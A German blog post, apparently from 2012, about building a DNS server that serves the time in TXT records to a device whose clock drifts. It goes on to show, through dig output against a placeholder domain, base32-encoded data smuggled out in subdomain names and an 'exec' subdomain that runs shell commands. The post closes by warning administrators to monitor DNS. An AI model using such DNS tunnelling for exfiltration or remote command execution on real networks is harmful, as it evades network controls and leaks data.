Von vielen Netzwerkadministratoren wird DNS wenn überhaupt als Mauerblümchen betrachtet. Viele anderen Protokolle und Systeme werden überwacht, manipuliert oder gar unterbunden – so findet man in vielen grösseren Firmen HTTP-Proxies, welche den Zugriff auf Webseiten steuert und protokolliert.

DNS muss laufen – sonst funktionieren die meisten grösseren Netzwerke nicht mehr, aber kaum einer macht sich Gedanken, was man damit so alles anstellen kann.Alles begann vor ein paar Monaten. Ein Kunde erwarb ein Gerät zum zentralen Verwalten und Betreiben einer grösseren Anzahl Datenlogger. Es fragt die angeschlossenen Logger periodisch ab, versorgt sie mit Strom und verwaltet / konfiguriert sie. Ausserdem schlägt das Teil Alarm, wenn ein Logger eine gewisse Zeit lang nicht abgefragt werden konnte.

Die gesammelten Informationen werden aufbereitet, und können vom Gerät gelesen oder durch das Gerät auf ein Drittgerät geschrieben werden.

Dieses System besteht im Prinzip nur aus einem ARM7-Prozessorboard, etwas Drahtlos- und Kabelfunkelektronik, einem 16x RS232/248->USB-Konverter und einem Piezopfeifer in einem “halben” 19″-Gehäuse. Auf der Maschine läuft ein embedded Linux.

Leider hat das Gerät ein Problem: Die interne Uhr driftet durchschnittlich um eine Minute pro Stunde. Weiss der Teufel wie diese Uhr funktioniert – wir hatten schon die Idee, dass die Uhr komplett in Software emuliert wird… Man kann jedenfalls weder eine RTC noch einen Quarz mit einer typischen Uhren-Frequenz auf dem Board finden.

Das Gerät würde NTP unterstützen, aber da macht der Netzwerkadministrator nicht mit. Zitat: “Da müsste ich auf der Firewall ein nicht-kontrollierbares Protokoll freischalten” und zum Aufsetzen eines internen NTP-Servers bin ich zu faul (dieser Nebensatz ist meine Interpretation des Gespräches). Auch bestanden Bedenken, dass so Informationen aus dem Netzwerk geschmuggelt werden könnten. Also musste eine andere Lösung her.

Ein paar Wochen vergingen – mittlerweile wurde das Linux auf dem Gerät so verändert, dass jemand einloggen und die Uhr stellen konnte.

Mittlerweile habe ich eine Lösung:

# dig @localhost time.domain.tld IN TXT

; <<>> DiG 9.9.1-P2 <<>> @localhost time.domain.tld IN TXT
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16747
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;time.domain.tld.               IN      TXT

;; ANSWER SECTION:
time.domain.tld.        1       IN      TXT     "1349210748"

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Oct  2 22:45:48 2012
;; MSG SIZE  rcvd: 56

Um das Problem zu lösen habe ich einen kleinen, sehr flexiblen DNS-Server entwickelt. In der Konfigurationsdatei muss nur angegeben werden, welche Domain(s) der Server bedienen soll – in diesem Testfall time.domain.tld.

Zusätzlich wird noch hr.<domain> bedient, in meinem Fall hr.time.domain.tld. Dies liefert die Uhrzeit für Menschen lesbar (human readable). Beispiel:

# dig @localhost hr.time.domain.tld IN TXT

; <<>> DiG 9.9.1-P2 <<>> @localhost hr.time.domain.tld IN TXT
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31899
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;hr.time.domain.tld.            IN      TXT

;; ANSWER SECTION:
hr.time.domain.tld.     1       IN      TXT     "Tue Oct  2 21:28:51 2012"

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Oct  2 23:28:51 2012
;; MSG SIZE  rcvd: 73

Da DNS so gut wie nicht überwacht/gesteuert wird – dafür aber, wenn Serverseitig richtig implementiert, beliebig zugreifbar ist, bekomme ich so die aktuelle Uhrzeit auf das Gerät des Kunden.

So, so weit, so unspektakulär. Die Idee habe ich etwas weiter gesponnen:

# dig @localhost JFRWQIDCNFXCAZLJNYQGW3DFNFXGK4RAKRSWK4DPOR2A====.echo.domain.tld IN TXT

; <<>> DiG 9.9.1-P2 <<>> @localhost JFRWQIDCNFXCAZLJNYQGW3DFNFXGK4RAKRSWK4DPOR2A====.echo.domain.tld IN TXT
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16283
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;JFRWQIDCNFXCAZLJNYQGW3DFNFXGK4RAKRSWK4DPOR2A====.echo.domain.tld. IN TXT

;; ANSWER SECTION:
JFRWQIDCNFXCAZLJNYQGW3DFNFXGK4RAKRSWK4DPOR2A====.echo.domain.tld. 1 IN TXT "You wrote: 'Ich bin ein kleiner Teepott'"

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Oct  2 22:49:05 2012
;; MSG SIZE  rcvd: 135

Hier habe ich nun echo.domain.tld. als Namen, bzw. Domain, verwendet. Alles, was im Feld vor echo eingetragen wird (also der Hostname), wird als base32 interpretiert und decodiert wieder ausgegeben. Serverseitig wird das decodierte in eine Datei geschrieben.

So kann man bequem Daten aus einem Netzwerk schmuggeln…

Und um noch einen draufzusetzen:

# dig @localhost 'uname -a'.exec.domain.tld. IN TXT

; <<>> DiG 9.9.1-P2 <<>> @localhost uname -a.exec.domain.tld. IN TXT
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 17502
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;uname\032-a.exec.domain.tld.   IN      TXT

;; ANSWER SECTION:
uname\032-a.exec.domain.tld. 1      IN      TXT     "Linux testrechner 3.2.12-gentoo #1 SMP Mon May 21 13:36:59 CEST 2012 x86_64 Intel(R) Xeon(R) CPU E5504 @ 2.00GHz GenuineIntel GNU/Linux"

;; Query time: 10 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Oct  2 23:38:44 2012
;; MSG SIZE  rcvd: 117

Ich glaube, das spricht für sich. Es sei noch angemerkt, dass ich hier den DNS-Server und dig so manipuliert habe, dass sämtliche ASCII-Zeichen akzeptiert werden. In der Praxis hat dieser Fall keine Bedeutung…

Es empfiehlt sich also tatsächlich, sich über die Informationen, welche per DNS ausgetauscht werden, Gedanken zu machen, und gegebenenfalls Gegenmassnahmen zu ergreifen.